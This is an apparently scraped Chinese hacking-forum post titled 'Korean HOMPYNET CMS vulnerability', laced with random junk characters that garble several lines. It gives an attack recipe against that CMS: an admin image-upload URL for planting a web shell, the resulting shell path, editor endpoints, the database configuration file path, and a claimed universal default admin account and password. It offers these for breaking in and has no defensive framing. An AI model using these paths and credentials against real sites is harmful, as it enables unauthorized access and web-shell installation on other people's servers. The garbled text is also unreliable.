韩国HOMPYNET CMS漏洞

admin

上传漏洞  :
( Y* q$ K1 Q1 ~. J  X1 m% i
5 g  G* C$ J* Q3 \7 ^2 l9 S7 o1 i* phttp://www.xxx.com/admin/image_a ... p;iname=&iform=

http://www.xxx.com/admin/image_a ... p;iname=&iform=

上传后路径：

# y0 v5 C, G' |/ ]7 U% y1 ^( Q# Thttp://www.xxx.com/bis_web_page/images/shell.php.en
/ m/ g, P$ G$ F9 _% F
, Y2 u* Q( n0 m编辑器：
  @% I# {( `4 T
$ W! x- l+ f9 T' N" h. Ohttp://www.xxx.com/admin/editor/SWE.php

0 x+ t" A/ d& k3 \/ ~( h  ihttp://www.xxx.com/program/editor/SWE.php
% d5 E2 |4 b4 N& p7 M8 G- t
4 P6 b* o  w) B1 a5 ?数据配置文件路径：

; i5 U; e% E0 S! Z. {4 g- d! m6 ehttp://www.xxx.com/m_config/DATA/g_setting.php

" O& e! _- O; m此程序通用后台账号 ：gamsiw  php99
6 R9 b" W' [" J0 G
  }- d9 w" _7 R4 W​

3 }, w1 s5 Q0 g- [, k